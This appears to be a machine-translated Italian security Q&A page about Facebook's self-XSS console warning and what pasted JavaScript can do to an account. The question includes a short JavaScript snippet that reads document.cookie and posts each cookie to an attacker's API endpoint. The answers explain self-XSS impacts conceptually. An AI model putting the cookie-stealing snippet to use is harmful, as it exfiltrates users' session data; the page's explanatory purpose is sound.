Avviso di Facebook su self-xss

7

Mi è capitato di aprire la mia console del browser su Facebook di recente e sono stato accolto con il seguente messaggio.

Stop!

This is a browser feature intended for developers. If someone told you to copy and paste something here to enable a Facebook feature or "hack" someone's account, it is a scam and will give them access to your Facebook account.

See https://www.facebook.com/selfxss for more information.

Il mio primo pensiero è stato semplicemente quello di uccidere, forse destinato a spaventare quegli ignari popoli di internet che copieranno e incolleranno ciecamente alcuni javascript nella console nella speranza di sbloccare un pulsante segreto antipatia.

Ma in realtà stavo pensando a come potresti compromettere i dati di una sessione degli utenti dalla console di Javascript.

Ho pensato a uno script che eseguiva il looping della variabile document.cookie e postava tutti i dati dei cookie su un'API. Qualcosa di simile al sotto.

var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');

for(var i=0 ; i < cookies.length ; ++i) {
    var pair = cookies[i].trim().split('=');
    xhr.send(JSON.stringify({
        name: pair[0],
        value: pair[1]
    }));
}

Ma la mia comprensione è che l'aggiunta del flag http-only a un cookie significa che non è possibile accedervi da javascript o lato client.

Quindi come potrebbe un utente malintenzionato indurti a compromettere il tuo account Facebook esclusivamente da self-xss?

    
posta Luke 25.04.2017 - 18:09
fonte

2 risposte

4

L'avviso sta parlando di "accesso al tuo account Facebook", non di controllo completo.

Self-XSS funziona come qualsiasi XSS. Sebbene non sia possibile leggere il cookie della sessione httpOnly, è possibile:

  • legge tutti i dati disponibili all'utente attaccato (messaggi, gruppi segreti, informazioni sui profili, ecc.)
  • invia richieste arbitrarie nel nome dell'utente attaccato (invia messaggi, crea post, ecc.)
  • mostra dati arbitrari all'utente attaccato (messaggi o post falsi, attaccanti di phishing, ecc.)
risposta data 25.04.2017 - 18:49
fonte
0

Citando direttamente dalla risposta di Abe Miessler :

"Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user."

I would emphasize the last part of this definition: "...to a different end user."

In my mind, to qualify as a XSS attack you would need to submit a request to a website and have that site respond with the malicious content. The ways this can happen is typically broken down into two different methods:

Quando convinci la tua vittima ad inserire ciecamente il testo nella console del browser, in pratica stai facendo in modo che eseguano direttamente script JavaScript sulla loro pagina. Questo non è tecnicamente XSS, ma lasciando da parte la semantica, ci sono altre cose maligne che potresti fare con le funzionalità complete di esecuzione di script a una vittima:

  • Crea una pagina di accesso falsa o aggiungi le tue risorse (o le sovrapposizioni).

  • Invia post, esegui altre azioni sulla loro pagina (come mi piace post, invio di foto, qualunque sia)

Come hai già detto, l'impostazione del flag solo http su un cookie impedisce l'accesso tramite la console, ma non è l'unico vettore di attacco disponibile una volta che hai i diritti di esecuzione del codice.

    
risposta data 25.04.2017 - 18:35
fonte

Leggi altre domande sui tag